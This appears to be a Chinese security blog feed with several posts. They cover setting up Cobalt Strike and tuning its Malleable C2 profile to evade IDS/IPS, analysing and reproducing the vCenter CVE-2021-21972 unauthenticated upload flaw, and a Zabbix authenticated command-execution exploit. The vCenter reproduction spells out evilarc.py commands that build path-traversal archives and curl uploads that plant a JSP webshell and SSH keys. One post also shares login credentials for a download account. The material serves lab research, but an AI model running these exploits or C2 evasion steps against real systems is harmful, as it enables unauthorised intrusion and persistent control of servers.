</code></pre></div>
<p><strong>不要使用<code>findstr</code>,那样的话很有可能会看不到占用文件的进程</strong></p>CobaltStrike2021-04-19T00:00:00+02:002021-04-19T00:00:00+02:0012138tag:None,2021-04-19:cobaltstrike.html<p>下载链接:<a href="https://pan.baidu.com/s/1RUFzDYvTGS_YdNy8WztbdA">8yjk</a> </p>
<h1>启动</h1>
<p>安装jdk,然后使用keytool生成证书</p>
<p>需要先切换到cobaltstrike目录</p>
<div class="highlight"><pre><span></span><code><span class="s2">"C:\Program Files\Java\jdk1.8.0_161\bin</span>
<span class="s2">\keytool.exe"</span><span class="w"> </span>-keystore<span class="w"> </span>./cobaltstrike.store<span class="w"> </span>-storepass<span class="w"> </span><span class="m">123456</span><span class="w"> </span>-keypass<span class="w"> </span><span class="m">123456</span><span class="w"> </span>-
genkey<span class="w"> </span>-keyalg<span class="w"> </span>RSA<span class="w"> </span>-alias<span class="w"> </span>cobaltstrike<span class="w"> </span>-dname<span class="w"> </span><span class="s2">"CN=Major Cobalt Strike, OU …</span></code></pre></div><p>下载链接:<a href="https://pan.baidu.com/s/1RUFzDYvTGS_YdNy8WztbdA">8yjk</a> </p>
<h1>启动</h1>
<p>安装jdk,然后使用keytool生成证书</p>
<p>需要先切换到cobaltstrike目录</p>
<div class="highlight"><pre><span></span><code><span class="s2">"C:\Program Files\Java\jdk1.8.0_161\bin</span>
<span class="s2">\keytool.exe"</span><span class="w"> </span>-keystore<span class="w"> </span>./cobaltstrike.store<span class="w"> </span>-storepass<span class="w"> </span><span class="m">123456</span><span class="w"> </span>-keypass<span class="w"> </span><span class="m">123456</span><span class="w"> </span>-
genkey<span class="w"> </span>-keyalg<span class="w"> </span>RSA<span class="w"> </span>-alias<span class="w"> </span>cobaltstrike<span class="w"> </span>-dname<span class="w"> </span><span class="s2">"CN=Major Cobalt Strike, OU=Advanc</span>
<span class="s2">edPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"</span>
</code></pre></div>
<p>启动teamserver</p>
<div class="highlight"><pre><span></span><code>java<span class="w"> </span>-XX:ParallelGCThreads<span class="o">=</span><span class="m">4</span><span class="w"> </span>-Dcobaltstrike.server_port<span class="o">=</span><span class="m">50050</span><span class="w"> </span>-Djavax.net.ssl.keyStore<span class="o">=</span>./cobaltstrike.store<span class="w"> </span>-Djavax.net.ssl.keyStorePassword<span class="o">=</span><span class="m">123456</span><span class="w"> </span>-server<span class="w"> </span>-XX:+AggressiveHeap<span class="w"> </span>-XX:+UseParallelGC<span class="w"> </span>-classpath<span class="w"> </span>./cobaltstrike.jar<span class="w"> </span>server.TeamServer<span class="w"> </span><span class="m">10</span>.0.2.15<span class="w"> </span><span class="m">123456</span>
</code></pre></div>
<p><code>10.0.2.15</code>是你主机的IP</p>
<p><code>123456</code>是密码</p>
<p>启动本地客户端</p>
<div class="highlight"><pre><span></span><code>java<span class="w"> </span>-XX:ParallelGCThreads<span class="o">=</span><span class="m">4</span><span class="w"> </span>-XX:+AggressiveHeap<span class="w"> </span>-XX:+UseParallelGC<span class="w"> </span>-jar<span class="w"> </span>cobaltstrike.jar
</code></pre></div>
<p><img alt="1618843843847" src="https://img-blog.csdnimg.cn/20210617112307217.png"></p>
<h1>Malleable C2 profile</h1>
<p><a href="https://www.cobaltstrike.com/help-malleable-c2">官方文档</a></p>
<p><strong>主要目的就是定制cobaltstrike的行为特征</strong></p>
<p>profile的基本格式</p>
<p><img alt="1618844952383" src="https://img-blog.csdnimg.cn/20210617112307484.png"></p>
<p>profile的主要参数,<code>sleeptime</code>和<code>jitter</code></p>
<p>这两个参数,一个单位是毫秒,一个单位是百分比</p>
<p>举个例子来说明这两个参数的作用</p>
<p>假设前者值为60000,那么客户端就会每隔60s回连一次teamserver,如果jitter的值被设置为20,那么这个间隔时间就会在20%上下抖动,也就是说,回连间隔为<code>60000*(100%+20%)</code>~<code>60000*(100%-20%)</code>之间的随机值</p>
<p>每次回连的间隔时间为<code>48~72</code>之间的随机值</p>
<p>还有一个参数是<code>useragent</code>,<a href="http://www.useragentstring.com/pages/useragentstring.php">这里</a>有一个所有的UA列表</p>
<p>最好的做法是将这个参数设置为目标内部用户的真实UA,某些比较牛逼的组织内部的网络监控可能会捕获异常的UA</p>
<p><code>maxdns</code>这个参数是使用DNS上线的时候才会用到的,用这个参数的时候需要格外小心,它是用来限定DNS查询所查询的域名长度的,默认值为255,值越大,发送的DNS报文数量就越少,反之亦然,DNS报文数量过多会引起IDS、IPS的注意,同样查询的域名长度过长也会被检测到,因此需要根据实际情况来设置一个恰到好处的值</p>
<p><code>pipename</code>参数用于设置使用SMB协议作为C2通道的Beacon的命名管道的名称,为了更好的伪装,可以使用目标内部常见的管道名称</p>
<p><a href="http://144.34.164.217/gong-ju-shou-ji.html#%E5%88%97%E5%87%BA%E8%BF%9B%E7%A8%8B%E5%8D%A0%E7%94%A8%E7%9A%84%E8%B5%84%E6%BA%90">find-named-pip</a></p>
<p><img alt="1618978916368" src="https://img-blog.csdnimg.cn/20210617112307727.png"></p>
<p>与上面这个参数相关联的另一个参数是<code>spawnto</code>,细分为<code>spawnto_x86</code>和<code>spawnto_x64</code>,他俩用来指定注入shellcode的进程</p>
<p>这两个参数可以互相弥补来最大程度的伪装beacon</p>
<h2>CobaltStrike使用自定义的profile</h2>
<div class="highlight"><pre><span></span><code>./teamserver<span class="w"> </span><span class="o">[</span>external<span class="w"> </span>IP<span class="o">]</span><span class="w"> </span><span class="o">[</span>password<span class="o">]</span><span class="w"> </span><span class="o">[</span>/path/to/my.profile<span class="o">]</span>
</code></pre></div>
<p>如果需要检测profile文件中的语法是否正确,可以使用<code>c2client</code>进行验证</p>
<div class="highlight"><pre><span></span><code>./c2lint [/path/to/my.profile]
</code></pre></div>CVE-2021-21972(vCenter RCE)漏洞分析2021-03-02T00:00:00+01:002021-03-02T00:00:00+01:0012138tag:None,2021-03-02:cve-2021-21972vcenter-rcelou-dong-fen-xi.html<h1>参考链接</h1>
<ul>
<li><a href="https://swarm.ptsecurity.com/unauth-rce-vmware/">https://swarm.ptsecurity.com/unauth-rce-vmware/</a></li>
<li><a href="http://144.34.164.217/vcenter-rcecve-2021-21972fu-xian.html">https://penhub.space/vcenter-rcecve-2021-21972.html</a></li>
</ul>
<h1>漏洞描述</h1>
<p>CVE-2021-21972:未经认证的文件上传导致的RCE</p>
<h1>影响范围</h1>
<p>VMware vCenter Server 7.0系列 < 7.0.U1c</p>
<p>VMware vCenter Server 6.7系列 < 6 …</p><h1>参考链接</h1>
<ul>
<li><a href="https://swarm.ptsecurity.com/unauth-rce-vmware/">https://swarm.ptsecurity.com/unauth-rce-vmware/</a></li>
<li><a href="http://144.34.164.217/vcenter-rcecve-2021-21972fu-xian.html">https://penhub.space/vcenter-rcecve-2021-21972.html</a></li>
</ul>
<h1>漏洞描述</h1>
<p>CVE-2021-21972:未经认证的文件上传导致的RCE</p>
<h1>影响范围</h1>
<p>VMware vCenter Server 7.0系列 < 7.0.U1c</p>
<p>VMware vCenter Server 6.7系列 < 6.7.U3l</p>
<p>VMware vCenter Server 6.5系列 < 6.5 U3n</p>
<h1>分析</h1>
<p>其实成因很简单,就是其中一个接口没有进行认证即可被访问到,而该接口中的其中一个方法又存在目录穿越漏洞,最终导致了任意文件上传到服务器任意路径的漏洞</p>
<p>存在漏洞的jar包为<code>vropsplugin-service.jar</code>,物理路径:</p>
<div class="highlight"><pre><span></span><code>C:<span class="se">\P</span>rogramData<span class="se">\V</span>Mware<span class="se">\v</span>CenterServer<span class="se">\c</span>fg<span class="se">\v</span>sphere-client<span class="se">\v</span>c-packages<span class="se">\v</span>sphere-client-serenity<span class="se">\c</span>om.vmware.vrops.install-6.7.0.10000<span class="se">\p</span>lugins<span class="se">\v</span>ropsplugin-service.jar
</code></pre></div>
<p>直接解压缩并<a href="https://gitee.com/wochinijiamile/smartya/blob/master/jd-gui-windows-1.6.6.zip">反编译</a>其中的下面这个class文件:</p>
<div class="highlight"><pre><span></span><code>vropsplugin-service<span class="se">\c</span>om<span class="se">\v</span>mware<span class="se">\v</span>ropspluginui<span class="se">\m</span>vc<span class="se">\S</span>ervicesController.class
</code></pre></div>
<p>漏洞代码片段:</p>
<div class="highlight"><pre><span></span><code>@RequestMapping<span class="o">(</span><span class="nv">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">{</span><span class="s2">"/uploadova"</span><span class="o">}</span>,<span class="w"> </span><span class="nv">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">{</span>RequestMethod.POST<span class="o">})</span>
<span class="w"> </span>public<span class="w"> </span>void<span class="w"> </span>uploadOvaFile<span class="o">(</span>@RequestParam<span class="o">(</span><span class="nv">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"uploadFile"</span>,<span class="w"> </span><span class="nv">required</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">true</span><span class="o">)</span><span class="w"> </span>CommonsMultipartFile<span class="w"> </span>uploadFile,<span class="w"> </span>HttpServletResponse<span class="w"> </span>response<span class="o">)</span><span class="w"> </span>throws<span class="w"> </span>Exception<span class="w"> </span><span class="o">{</span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"Entering uploadOvaFile api"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span>int<span class="w"> </span><span class="nv">code</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>uploadFile.isEmpty<span class="o">()</span><span class="w"> </span>?<span class="w"> </span><span class="m">400</span><span class="w"> </span>:<span class="w"> </span><span class="m">200</span><span class="p">;</span>
<span class="w"> </span>PrintWriter<span class="w"> </span><span class="nv">wr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>null<span class="p">;</span>
<span class="w"> </span>try<span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">(</span>code<span class="w"> </span>!<span class="o">=</span><span class="w"> </span><span class="m">200</span><span class="o">)</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>response.sendError<span class="o">(</span>code,<span class="w"> </span><span class="s2">"Arguments Missing"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span><span class="nv">wr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>response.getWriter<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>catch<span class="w"> </span><span class="o">(</span>IOException<span class="w"> </span>e<span class="o">)</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>e.printStackTrace<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"upload Ova Controller Ended With Error"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span>response.setStatus<span class="o">(</span>code<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>String<span class="w"> </span><span class="nv">returnStatus</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"SUCCESS"</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">(</span>!uploadFile.isEmpty<span class="o">())</span>
<span class="w"> </span>try<span class="w"> </span><span class="o">{</span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"Downloading OVA file has been started"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"Size of the file received : "</span><span class="w"> </span>+<span class="w"> </span>uploadFile.getSize<span class="o">())</span><span class="p">;</span>
<span class="w"> </span>InputStream<span class="w"> </span><span class="nv">inputStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>uploadFile.getInputStream<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>File<span class="w"> </span><span class="nv">dir</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>File<span class="o">(</span><span class="s2">"/tmp/unicorn_ova_dir"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">(</span>!dir.exists<span class="o">())</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>dir.mkdirs<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>String<span class="o">[]</span><span class="w"> </span><span class="nv">entries</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>dir.list<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="o">(</span>String<span class="w"> </span>str<span class="w"> </span>:<span class="w"> </span>entries<span class="o">)</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>File<span class="w"> </span><span class="nv">currentFile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>File<span class="o">(</span>dir.getPath<span class="o">()</span>,<span class="w"> </span>str<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>currentFile.delete<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"Successfully cleaned : /tmp/unicorn_ova_dir"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span>TarArchiveInputStream<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>TarArchiveInputStream<span class="o">(</span>inputStream<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>TarArchiveEntry<span class="w"> </span><span class="nv">entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">in</span>.getNextTarEntry<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>List<String><span class="w"> </span><span class="nv">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>ArrayList<String><span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="o">(</span>entry<span class="w"> </span>!<span class="o">=</span><span class="w"> </span>null<span class="o">)</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">(</span>entry.isDirectory<span class="o">())</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="nv">entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">in</span>.getNextTarEntry<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span>File<span class="w"> </span><span class="nv">curfile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>File<span class="o">(</span><span class="s2">"/tmp/unicorn_ova_dir"</span>,<span class="w"> </span>entry.getName<span class="o">())</span><span class="p">;</span>
<span class="w"> </span>File<span class="w"> </span><span class="nv">parent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>curfile.getParentFile<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">(</span>!parent.exists<span class="o">())</span>
<span class="w"> </span>parent.mkdirs<span class="o">()</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span>OutputStream<span class="w"> </span><span class="nv">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>FileOutputStream<span class="o">(</span>curfile<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>IOUtils.copy<span class="o">((</span>InputStream<span class="o">)</span><span class="k">in</span>,<span class="w"> </span>out<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>out.close<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>result.add<span class="o">(</span>entry.getName<span class="o">())</span><span class="p">;</span>
<span class="w"> </span><span class="nv">entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">in</span>.getNextTarEntry<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span><span class="k">in</span>.close<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>logger.info<span class="o">(</span><span class="s2">"Successfully deployed File at Location :/tmp/unicorn_ova_dir"</span><span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>catch<span class="w"> </span><span class="o">(</span>Exception<span class="w"> </span>e<span class="o">)</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>logger.error<span class="o">(</span><span class="s2">"Unable to upload OVA file :"</span><span class="w"> </span>+<span class="w"> </span>e<span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="nv">returnStatus</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"FAILED"</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span><span class="w"> </span>
<span class="w"> </span>wr.write<span class="o">(</span>returnStatus<span class="o">)</span><span class="p">;</span>
<span class="w"> </span>wr.flush<span class="o">()</span><span class="p">;</span>
<span class="w"> </span>wr.close<span class="o">()</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span>
</code></pre></div>
<p>在遍历tar文件并逐个释放到<code>/tmp/unicorn_ova_dir</code>目录的过程中,有这么一行代码:</p>
<div class="highlight"><pre><span></span><code><span class="n">File</span><span class="w"> </span><span class="n">curfile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="p">(</span><span class="s">"/tmp/unicorn_ova_dir"</span><span class="p">,</span><span class="w"> </span><span class="n">entry</span><span class="p">.</span><span class="na">getName</span><span class="p">());</span>
</code></pre></div>
<p>这个操作没有任何对<code>entry.getName()</code>的检查与过滤,直接将<code>/tmp/unicorn_ova_dir</code>和<code>entry.getName()</code>拼接了起来,如果我们构造出包含<code>..\</code>的tar文件,那么就能达到目录穿越的目的</p>
<p>使用<code>evilarc.py</code>制作目录层级为2的tar文件,就会在目录结构中包含两个目录穿越符号,正好够我们达到服务器文件系统的根路径</p>
<p><img alt="1615115959034" src="vcenter CVE-2021-21972成因分析.assets/1615115959034.png"></p>
<h1>结语</h1>
<p>漏洞很简单,难的是找到无需认证即可访问的接口以及存在漏洞的方法!!!</p>vCenter RCE(CVE-2021-21972)复现2021-03-02T00:00:00+01:002021-03-02T00:00:00+01:0012138tag:None,2021-03-02:vcenter-rcecve-2021-21972fu-xian.html<h1>参考链接</h1>
<ul>
<li><a href="https://swarm.ptsecurity.com/unauth-rce-vmware/">https://swarm.ptsecurity.com/unauth-rce-vmware/</a></li>
</ul>
<h1>漏洞描述</h1>
<p>CVE-2021-21972:未经认证的文件上传导致的RCE</p>
<h1>影响范围</h1>
<p>VMware vCenter Server 7.0系列 < 7.0.U1c</p>
<p>VMware vCenter Server 6.7系列 < 6.7.U3l</p>
<p>VMware vCenter Server …</p><h1>参考链接</h1>
<ul>
<li><a href="https://swarm.ptsecurity.com/unauth-rce-vmware/">https://swarm.ptsecurity.com/unauth-rce-vmware/</a></li>
</ul>
<h1>漏洞描述</h1>
<p>CVE-2021-21972:未经认证的文件上传导致的RCE</p>
<h1>影响范围</h1>
<p>VMware vCenter Server 7.0系列 < 7.0.U1c</p>
<p>VMware vCenter Server 6.7系列 < 6.7.U3l</p>
<p>VMware vCenter Server 6.5系列 < 6.5 U3n</p>
<h1>下载链接</h1>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/6to8iy;oluj'/p.ktfesdgfhgmgFSDV">百度云下载</a></p>
<p>这里提供一些<a href="https://shimo.im/docs/RwZ7jY1n5rYEhXnV/read">百度云VIP共享账号</a>,兄弟们可以用这些账户高速下载</p>
<p>当然,你也可以自行下载安装镜像:</p>
<ul>
<li><a href="https://my.vmware.com/group/vmware/downloads/details?downloadGroup=VC65U3K&productId=614">vCenter6.5系列</a></li>
<li><a href="https://my.vmware.com/web/vmware/downloads/details?downloadGroup=VC670&productId=742&rPId=22641">vCenter6.7系列</a></li>
</ul>
<p>下载这个需要登录,这里直接提供一个账户供大家使用:</p>
<div class="highlight"><pre><span></span><code>xkaaconmpunoejwqcs@twzhhq.online
xkacon123j!<span class="nv">$Ehh</span>.onli
</code></pre></div>
<h1>安装</h1>
<h2>windows</h2>
<p>建议使用windows server 2012 R2</p>
<p>内存要求至少8G</p>
<p>推荐使用物理及安装,我在使用vmware虚拟机安装时遇到未知错误,未解决</p>
<p>此外,当前机器不能是域控制器</p>
<p>所安装的机器 不能是域控制器</p>
<p>先安装更新<code>Windows8.1-KB2919355-x64.msu</code>,然后再安装更新<code>Windows8.1-KB2999226-x64.msu</code></p>
<p>如果在安装更新时出现无法找到指定路径的错误,可创建目录<code>C:\programdata\package cache</code>,再重新安装即可,之后便可安装<code>vcenter6.7</code></p>
<p>密码:</p>
<div class="highlight"><pre><span></span><code>administrator@vsphere.local
qwe123...A
</code></pre></div>
<p>安装完成之后打开<code>https://your-computer-IP/ui/</code>进行登录</p>
<p>vCenter登录界面和控制面板:</p>
<p><img alt="1615031010413" src="vcenter CVE-2021-21972.assets/1615031010413.png"></p>
<p><img alt="1615030907188" src="vcenter CVE-2021-21972.assets/1615030907188.png"></p>
<h2>linux</h2>
<p>linux安装vCenter其实就是将虚拟机部署到esxi中的过程</p>
<p>linux版的vCenter叫做VCSA(vCenter Server Appliance)</p>
<p><strong>在镜像中有一个ova文件,理论上来讲,直接使用vmWare workstation导入该虚拟机即可,但是我尝试过多次,均以各种报错告终,最后还是老老实实在vmware workstation中安装了esxi,然后部署vcsa</strong></p>
<p><strong>注意,在安装esxi的时候,内存要大于10G,推荐分配12G,磁盘要大于240G</strong></p>
<p>我建议各位在安装的时候最好先搞一个DNS服务器(可以通过安装AD中的集成DNS实现),以配置域名,不然在安装vcsa的时候,可能会出现机器名无效的错误</p>
<p>安装完成</p>
<p><img alt="1615144987239" src="vcenter CVE-2021-21972.assets/1615144987239.png"></p>
<p>在配置的时候我设置的DNS服务器是自己的,FQDN也是penhub.space域(我的AD-DNS域)</p>
<p><img alt="1615145353856" src="vcenter CVE-2021-21972.assets/1615145353856.png"></p>
<h1>漏洞复现</h1>
<p>检测漏洞</p>
<p>在未登录的情况下直接访问<code>https://your-computer-IP/ui/vropspluginui/rest/services/getstatus</code></p>
<p>如果返回如下响应及证明<code>CVE-2021-21972</code>(认证绕过)漏洞存在</p>
<p><img alt="1615031410292" src="vcenter CVE-2021-21972.assets/1615031410292.png"></p>
<h2>针对windows环境</h2>
<p>首先制作一个恶意的tar压缩包,这里我使用<a href="https://gitee.com/wochinijiamile/smartya/blob/master/evilarc.py">evilarc.py</a></p>
<p>使用的jsp木马是<a href="https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp">Browser.jsp</a></p>
<p>使用如下命令构造恶意压缩包:</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>evilarc.py<span class="w"> </span>-d<span class="w"> </span><span class="m">2</span><span class="w"> </span>-p<span class="w"> </span><span class="s1">'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport'</span><span class="w"> </span>-o<span class="w"> </span>win<span class="w"> </span>-f<span class="w"> </span>winexpl.tar<span class="w"> </span>Browser.jsp
</code></pre></div>
<p>其中<code>-d</code>选项指定层级,2层就足够穿越到<code>C:\</code>根目录了,当然为了保险起见,你可以写一个更大的值</p>
<p><code>ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport</code>是要穿越到的目录,这个目录中的jsp文件可以直接从web端访问到</p>
<p>然后使用curl将制作好的恶意压缩包上传至vCenter服务器</p>
<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-k<span class="w"> </span>-F<span class="w"> </span><span class="s2">"uploadFile=@winexpl.tar"</span><span class="w"> </span>https://your-computer-IP/ui/vropspluginui/rest/services/uploadova
</code></pre></div>
<p>然后访问我们的webshell(https://your-computer-IP/statsreport/Browser.jsp)可:</p>
<p><img alt="1615096255304" src="vcenter CVE-2021-21972.assets/1615096255304.png"></p>
<p><img alt="1615096313379" src="vcenter CVE-2021-21972.assets/1615096313379.png"></p>
<p>可以看到,我们的权限是<code>nt authority\system</code></p>
<h2>linux环境</h2>
<p>首先验证漏洞</p>
<p>访问如下路径:</p>
<div class="highlight"><pre><span></span><code>https://photon-machine.penhub.space/ui/vropspluginui/rest/services/getstatus
</code></pre></div>
<p><img alt="1615145462430" src="vcenter CVE-2021-21972.assets/1615145462430.png"></p>
<p>存在未授权漏洞</p>
<p>对于linux,我们直接写ssh公钥到<code>/home/vsphere-ui/.ssh/authorized_keys</code>文件</p>
<p>构造恶意压缩包,<strong>注意这次的格式是unix</strong></p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>evilarc.py<span class="w"> </span>-d<span class="w"> </span><span class="m">2</span><span class="w"> </span>-p<span class="w"> </span><span class="s1">'home/vsphere-ui/.ssh'</span><span class="w"> </span>-o<span class="w"> </span>unix<span class="w"> </span>-f<span class="w"> </span>exp.tar<span class="w"> </span>authorized_key
</code></pre></div>
<p>上传恶意压缩包</p>
<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-k<span class="w"> </span>-F<span class="w"> </span><span class="s2">"uploadFile=@exp.tar"</span><span class="w"> </span>https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
</code></pre></div>
<p>登陆成功</p>
<p><img alt="1615151006290" src="vcenter CVE-2021-21972.assets/1615151006290.png"></p>
<p><strong>这种方式看很有可能不会奏效,因为vcsa默认情况下是关闭ssh的</strong></p>
<p>在esxi控制台中进入vcsa虚拟机,F2进入管理界面,输入密码,选中<code>Troubleshooting Mode Options</code></p>
<p><img alt="1615146371026" src="vcenter CVE-2021-21972.assets/1615146371026.png"></p>
<p><img alt="1615146459952" src="vcenter CVE-2021-21972.assets/1615146459952.png"></p>
<p>可以看到,ssh默认是关闭的,你使用ssh工具去连接,也是连不上的</p>
<p><img alt="1615146514625" src="vcenter CVE-2021-21972.assets/1615146514625.png"></p>
<p><strong>只有当管理员打开了这个选项的时候使用这种利用方式才行得通,但是一般情况下是不会打开的,因为没必要,esxi本身就可以远程管理</strong></p>
<p>根据上面windows的利用方式,考虑上传文件到如下位置:</p>
<p><code>/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport</code></p>
<p><img alt="1615151103698" src="vcenter CVE-2021-21972.assets/1615151103698.png"></p>
<p>构造恶意压缩包</p>
<div class="highlight"><pre><span></span><code>python<span class="w"> </span>evilarc.py<span class="w"> </span>-d<span class="w"> </span><span class="m">2</span><span class="w"> </span>-p<span class="w"> </span><span class="s1">'usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport'</span><span class="w"> </span>-o<span class="w"> </span>unix<span class="w"> </span>-f<span class="w"> </span>winexpl.tar<span class="w"> </span>Browser.jsp
</code></pre></div>
<p>上传恶意压缩包</p>
<div class="highlight"><pre><span></span><code>curl<span class="w"> </span>-k<span class="w"> </span>-F<span class="w"> </span><span class="s2">"uploadFile=@winexpl.tar"</span><span class="w"> </span>https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
</code></pre></div>
<p>直接返回<code>FAILED</code></p>
<p>估计是权限的原因,这个目录我写不进去文件</p>
<div class="highlight"><pre><span></span><code>drwxr-xr-x<span class="w"> </span><span class="m">9</span><span class="w"> </span>perfcharts<span class="w"> </span>cis<span class="w"> </span><span class="m">4096</span><span class="w"> </span>Mar<span class="w"> </span><span class="m">7</span><span class="w"> </span><span class="m">18</span>:38<span class="w"> </span>/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport
</code></pre></div>
<p>我当前的用户是<code>vsphere-ui</code>,因此无法写入,上传过程中出现异常,返回<code>FAILED</code></p>
<p>使用<a href="https://github.com/NS-Sp4ce/CVE-2021-21972/blob/7048b1d0a71a862284c2d54f78aba913ccef5776/CVE-2021-21972.py">网上的exp</a>,成功上传shell(冰蝎)<img alt="1615152723055" src="vcenter CVE-2021-21972.assets/1615152723055.png"></p>
<p>看了一下利用代码,利用的路径是<code>/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global</code></p>
<p>在该路径下有很多以数字命名的目录,<strong>部分目录中存在可以直接从前端访问的资源文件</strong></p>
<p>至于这个目录是怎么找到的,其实很简单,登录进vsphere html5 client之后,随便找个图片或者css文件,在vcsa中用find命令找一下就找到了</p>
<p>由于不知道目录名和war包名的对应关系(可能根本就没有关系,目录名是根据war部署先后顺序确定的),因此exp代码中采用了爆破的方式,<strong>将所有的目录都试一遍</strong></p>zabbix认证后的命令执行2021-01-11T00:00:00+01:002021-01-11T00:00:00+01:0012138tag:None,2021-01-11:zabbixren-zheng-hou-de-ming-ling-zhi-xing.html<p>默认密码admin\zabbix</p>
<p>利用脚本:<a href="https://www.exploit-db.com/exploits/39937">https://www.exploit-db.com/exploits/39937</a></p>
<p>根据可以自己更改脚本,设置两个参数,一个是url,一个是hostid</p>
<div class="highlight"><pre><span></span><code><span class="nv">ZABIX_ROOT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>sys.argv<span class="o">[</span><span class="m">1</span><span class="o">]</span>
<span class="nv">hostid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>sys.argv<span class="o">[</span><span class="m">2</span><span class="o">]</span>
</code></pre></div>
<p>hostid可以在此处获得:</p>
<p><img alt="1610343532085" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lJZSXxwsWd.jpg"></p>
<p>另 …</p><p>默认密码admin\zabbix</p>
<p>利用脚本:<a href="https://www.exploit-db.com/exploits/39937">https://www.exploit-db.com/exploits/39937</a></p>
<p>根据可以自己更改脚本,设置两个参数,一个是url,一个是hostid</p>
